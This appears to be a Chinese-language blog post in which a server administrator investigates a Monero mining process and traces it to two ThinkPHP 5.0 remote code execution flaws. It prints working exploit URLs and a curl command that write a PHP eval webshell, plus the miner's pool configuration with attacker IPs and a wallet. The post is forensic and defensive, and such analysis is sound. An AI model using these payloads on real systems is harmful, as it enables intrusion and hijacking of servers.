最近兩次發現服務器CPU佔用率達95%左右，top 查看後發現有個進程佔用異常偏高。但卻不佔用大量寬帶資源，並且服務器在請求壓力不大的情況下能正常訪問，也就是不設置資源報警不易發覺。
在第一次發現時還以爲是系統代碼問題導致死循環直接kill進程，但過一週後再次出現相同的情況感覺不對，應該是被玩了。
首先查看下進程信息
top
從top命令中可以看到一個http的進程佔用資源非常大，服務器使用的是nginx+php-fpm組合用戶組是www，不會出現http命令的進程，http進程有點類似apache的httpd。
需要分析下進程的來源以便徹底清除，不過進程來自www用戶，而這個用戶組不會用於其它進程，也就是基本上可以斷定是通過http請求過來的getshell***。
查看進程信息：
ll /proc/28141
可以看到exe執行文件已經被刪除了，同時還有子程序（ task 目錄下），多進程的方式都是爲是最大化利用CPU多核資源完成大量的計算工作。
查看啓動進程命令：
cat /proc/28141/cmdline
單獨啓動的可執行程序，應該是啓動後自動刪除了程序文件。可以更好的隱藏。
安裝下 lsof 命令，查看進程打開的文件信息
yum install lsof lsof -p
從這裏可以看到進程文件中包含了 http 文件，所在目錄是 /tmp 下，並且已經刪除了。進一步確定文件啓動的位置。
通過strace 命令查看下進程執行信息
strace -p 28141
命令中大部分是在 epoll_wait ，網上查一下是用於網絡編程的，具體可自行了解。但可以確定這個進程一直在死循環同一個操作。
查看下子進程：
ps -T -p 28141
top -H -p 28141
有很多個子進程，其中有幾個佔用非常高，到這裏可以確定CPU被吃了的大概情況，剩下就需要找出來源，程序是如何啓動的。
上面已經知道進程啓動的用戶是www，那查看下www有多少進程
ps aux|grep www
從這些命令中可以看到有幾個進程需要好好了解下： perl、python r http、sh、sleep 0.5 ，因爲在服務裏設置www用戶組是給nginx和php-fpm兩個進程用的，而這幾個進程顯然不是正常進程。
從異常http進程來看 python r http 進程很像是守護http進程先查它。按上面的方法走下。
lsof -p 16277
從這裏可以看到這個進程工作目錄在/tmp下而且是通過 /var/run/php-fpm.sock 啓動的與http進程的啓動目錄一樣即很有可能是守護相關進程。還有系統並未使用php代碼去調用python進程，進一步說明php代碼存在getshell漏洞。
首先kill掉python r http進程
kill 16227
然後再看看是否kill掉了，結果
整不掉，說明進程有問題，強制kill處理
kill -9 16277
再看
進程已經kill掉了，然後kill掉http進程。
kill 28141
一次性解決，然後再看下服務器的CPU佔用率，已經恢復正常。
top
這時就可以把其它幾個進程全部kill掉，因爲是***進程一般kill整不掉所以直接全部使用kill -9來處理，其中sleep進程是睡眠進程過會即自動結束無需處理。
kill -9 13160 kill -9 13205 kill -9 19914
然後再來分析黑入來源或方式，前段時間國產框架ThinkPHP5.0被爆致使getshell漏洞兩個，然而系統里正好系統使用的是ThinkPHP5.0。分別有：
注意：給出黑入方式只是爲了更瞭解黑入手段，不可肆意黑入他人，否則需要承擔法律責任，並且一切操作與本人無關！ 不實事正常黑入一般都是從國外來的，畢竟追查難。
2018年12月9日發佈 https://blog.thinkphp.cn/869075?spm=a2c4g.11174386.n2.6.44e41051jOK7oE
這個漏洞影響非常大，主要是框架爲了功能更靈活自我創造的漏洞，網上已經有相關的黑入方式，大概的條件有：
think\App 類 module 方法無過濾處理 調用了 Loader::controller 方法
$instance = Loader::controller($controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller']);
而 think\Loader::controller 方法又做了一個非常誇張的動作，代碼如下：
這行代碼在一開始就判斷了 $name 是否包含 \ 符號，只要處理這個符號則直接當控制器類來使用，不經過任何處理就直接拿來使用，利用這點可以使用其它非控制器類的類。
如果能添加自己需要的參數那就更方便了。剛好 think\App 類中獲取到控制器後調用了 think\App::invokeMethod 方法
return self::invokeMethod($call, $vars);
think\App::invokeMethod 方法會通過 think\App::bindParams 方法把請求的數據獲取出來。
但在查看 think\App::bindParams 方法時會發現有一個配置條件，會影響提取參數的形式，這個會影響黑入的形式。url_param_type 配置爲 0 爲說時取的是請求參數，爲 1 時取路徑參數。
比較典型的黑入連接有：(通過請求自動寫黑入腳本)
http://localhost/index.php/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[ggsmd]);?%3E
http://localhost/index.php/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C?php%20@eval($_POST[ggsmd]);?%3E%27%3Ezxc.php
以上兩種不同的處理方式都可以完成黑入，一但黑入腳本生成成功就可以執行請求所在用戶組權限之內的所有功能，而且還可以操作完後把自己給刪除，不留下明顯的痕跡。
這個漏洞官方已經出解救方式：https://blog.thinkphp.cn/869075?spm=a2c4g.11174386.n2.6.44e41051jOK7oE
2019年1月11日發佈 https://blog.thinkphp.cn/910675?spm=a2c4g.11174386.n2.6.45051051H6NAsV
這次發佈的漏洞又是一大壯舉，***者雙可以來一波小刺激。框架初衷是靈活結果又過頭了，坑了一把粉絲。同樣網上也有相關的***方式，大概的情況有：
think\Request 類的 method 方法允許執行指定POST請求數據爲方法名的 think\Request 類方法，默認 var_method 值爲 _method，也就是請求參數裏包含這個鍵值就可以好好玩一把了，而框架本身調用這個方法的地方很多而且會進入***代碼塊，使得***更簡單了，具體的可以跟蹤下代碼瞭解調用線路。
那麼問題來了，只能玩 think\Request 類的方法能做什麼，表面來看沒有什麼，但 think\Request 類裏又提供了一些擴展功能並提供了調用 call_user_func 或 call_user_func_array 方法的能力，從整個類文件裏看有兩個類容易利用分別是 __call 和 filterValue 方法，這兩個方法有個特點就是參數是通過當前類裏的屬性來提取調用器，如果能通過請求修改這個類裏的這些屬性值即可完成***。
通過代碼分析可以看到 think\Request 類 filterValue 方法有參數都會進入，所以更容易***。
只要能修改 think\Request 類的 filter 數據即可。最簡單是調用 think\Request 類的 __construct 方法。
先分析 method 方法代碼：
只要POST參數包含配置數據 var_method 值爲鍵值即可，默認 var_method 值爲 _method，所以可以使用簡單的POST請求並添加 _method=方法名 就可以調用，並且會把請求的數據全部傳入。
再來看看 __construct 方法代碼：
這段代碼毫無保留的直接修改類屬性數據，所以可以直接修改 filter 數據，我們通過發送一個POST請求：（簡單點通過curl命令來操作）
curl -X "POST" "http://appapi.zujiekeji.loc/index.php" -d "_method=__construct&filter[]=system&_=echo \"<?php @eval($_POST['FDS']);?>\" > zxc.php"
那麼系統就會自行創建一個***代碼文件，然後我們再請求這個文件完成想要做的各種事情。
對於這個漏洞官方已經出了對應的解決方法：https://blog.thinkphp.cn/910675?spm=a2c4g.11174386.n2.6.45051051H6NAsV
有了這兩個漏洞的瞭解，就可以來看看日誌數據了，是否有相關的請求來源，如果存在則比較吻合幾個條件：
1、異常進程使用的用戶組相同
2、進程是通過php-fpm啓動的（即外部請求調用的）
3、與爆出漏洞時間點比較接近
4、存在漏洞黑入機會
搜索nginx日誌後發現
所有基本上可以斷定是這裏造成的問題。
現在基本上使用的是雲服務器，一般都有基本的安全預警，這裏使用的是阿里雲服務器，從主機異常從可以找到異常信息有：
也就是這裏通過請求黑入的php腳本執行了這些命令，完成了整個的黑入。
手動下載配置文件 http://190.2.147.11/static/data.c 後，會發現這麼一個json文件
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"id": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"asm": true,
"autosave": true,
"av": 0,
"background": true,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 1,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 95,
"pools": [
{
"url": "190.2.147.8:6666",
"user": "4An3Radh69LgcTHJf1U3awa9ffej4b6DcUmEv8wirsDm8zRMSjifrwybH2AzHdEsW8eew3rFtk4QbGJMxqitfxmZJhABxpT",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": -1,
"tls": false,
"tls-fingerprint": null
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}網上一找是門羅幣的挖礦配置，通過下載挖礦程序再啓動，即可免費挖礦。一般挖礦沒有破壞性但會佔用大量CPU資源和內存還有部分寬帶，嚴重影響服務器性能有價值的性能發輝。
事前這些安全漏洞阿里去已經通知過，雖然知道的稍晚也作了漏洞補救，但沒有想到進程已經在知道前注入了，沒有過多的去檢查，導致被肉雞。
對此一些安全細節點需要留意：
1、對外服務進程用戶不可使用root，防止黑入後權限過大
2、用戶組下可疑進程時常排查下（可寫個腳本定時處理，阿里雲部分監控但不能100%可靠）
3、系統硬件資源需要定時查看是否正常（可寫個腳本定時提取，阿里雲有監控可配置）
4、安全漏洞一定要及時修復並檢查是否已經被黑了
5、對於PHP系統代碼儘可能不使用可執行命令的函數如eval、system等
6、框架儘可能選用更安全的（這不是詆譭目前tp框架爲了靈活功能且體積更小花了不少心思但功能過於靈活存在的安全問題也就越大，實際使用率有多少？）
7、不要看輕搞事人的能力服務器在公網端口是直接暴露的，很容易掃描出來，所以不是很需要的功能儘可能不要開
8、防火牆類的過濾性安全還是要增加的，能減少外網訪問的端口想法辦限制